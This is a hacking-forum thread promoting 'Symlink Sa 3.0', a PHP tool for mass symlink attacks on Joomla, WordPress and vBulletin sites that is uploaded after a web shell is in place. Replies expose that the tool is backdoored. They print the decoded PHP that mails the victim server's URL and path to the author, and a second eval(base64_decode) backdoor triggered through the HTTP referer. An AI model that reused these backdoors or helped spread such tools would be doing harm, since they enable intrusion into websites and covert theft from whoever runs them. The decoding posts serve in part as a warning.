Hi,Guys Symlink Sa 3.0 is Out ! 😁
Screenshoot :
Code https://i.imgur.com/261CG.png
Code Added Symlink Bypass
Bypass Read
Mass Joomla Symlink
Mass WordPress Symlink
Mass vBulletin Symlink
Code http://go.rianul.com/2
Hope You Love It 🤝
DO NOT DEAL WITH THIS MEMBER
Any tut? You need to have shell first?
(Oct 13, 2012 07:30 PM)tangox Wrote: Any tut? You need to have shell first?
Yes, First Upload Your shell ,then Upload Symlink Sa 3.0 😁
uploaded Symlink Sa 3.0. but it's not showing anything. just empty box. what can i do now?
Didn't have time to go through the entire source but it's definitely backdoored.
Decoded from lines 686 - 696.
PHP Code
<?php
if(!strpos('www.Sh3ll.Us', $_SERVER['SERVER_NAME']))
{
$IIll1Il = '[email protected]';
$IIll1I1 = 'EGFM';
$IIll1lI = 'from: EGFM <[email protected]>';
$IIll1ll = 'Link : http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."\r\n";
$IIll1ll .= 'Path : ' .__file__;
$IIll1l1 = @mail($IIll1Il,$IIll1I1,$IIll1ll,$IIll1lI);
echo $GLOBALS['OOO0000O0']('');
exit;
}
Last symlink I tried deleted every file in most of the directories.
I don't trust. ¬_¬
looked good at first but screw dat if its backdoored, i wont even bother. good day to you sir.
(Dec 4, 2012 12:00 PM)AntiPaste Wrote: Didn't have time to go through the entire source but it's definitely backdoored.
Decoded from lines 686 - 696.
PHP Code
<?php
if(!strpos('www.Sh3ll.Us', $_SERVER['SERVER_NAME']))
{
$IIll1Il = '[email protected]';
$IIll1I1 = 'EGFM';
$IIll1lI = 'from: EGFM <[email protected]>';
$IIll1ll = 'Link : http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."\r\n";
$IIll1ll .= 'Path : ' .__file__;
$IIll1l1 = @mail($IIll1Il,$IIll1I1,$IIll1ll,$IIll1lI);
echo $GLOBALS['OOO0000O0']('');
exit;
}
Confirmed as backdoored. Be cautious when deciding to use this!
Tut Tut.... backdooring a shell and putting it here... hoping you wouldnt get noticed.... sooo disapointed
DO NOT DEAL WITH THIS MEMBER
Dec 4, 2012 02:21 PM
(This post was last modified: Dec 4, 2012 02:22 PM by Bacardi.)
(Dec 4, 2012 12:13 PM)Noah™ Wrote: looked good at first but screw dat if its backdoored, i wont even bother. good day to you sir.
Or just look through the PHP code and remove the backdoors.
funny, atleast one of the scripts on http://sec-w.com is backdoored as well
Code http://sec-w.com/wl4b/Wpost.php?p=336
backdoor:
PHP Code
<?php
parse_str($_SERVER['HTTP_REFERER'],$a);
if(reset($a)=='iz' && count($a)==9) {
echo '<star>';
eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3));
echo '</star>';
}
but then again KedAns-Dz is from Inj3ct0rs team, so it should be expected.
DO NOT DEAL WITH THIS MEMBER
Very like this Symlink shell :)
LO..
For shame. :( You should try harder. Horrible.
I don't know if this shell backdoored ,im sorry
if this shell backdoored ,just put this code :
Code <?php
$auth = 1;
$name='your username md5';
$pass='your password md5';
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="got neg rep"');
header('HTTP/1.0 401 Unauthorized');
exit("<b></b>");
}
}
?>
|
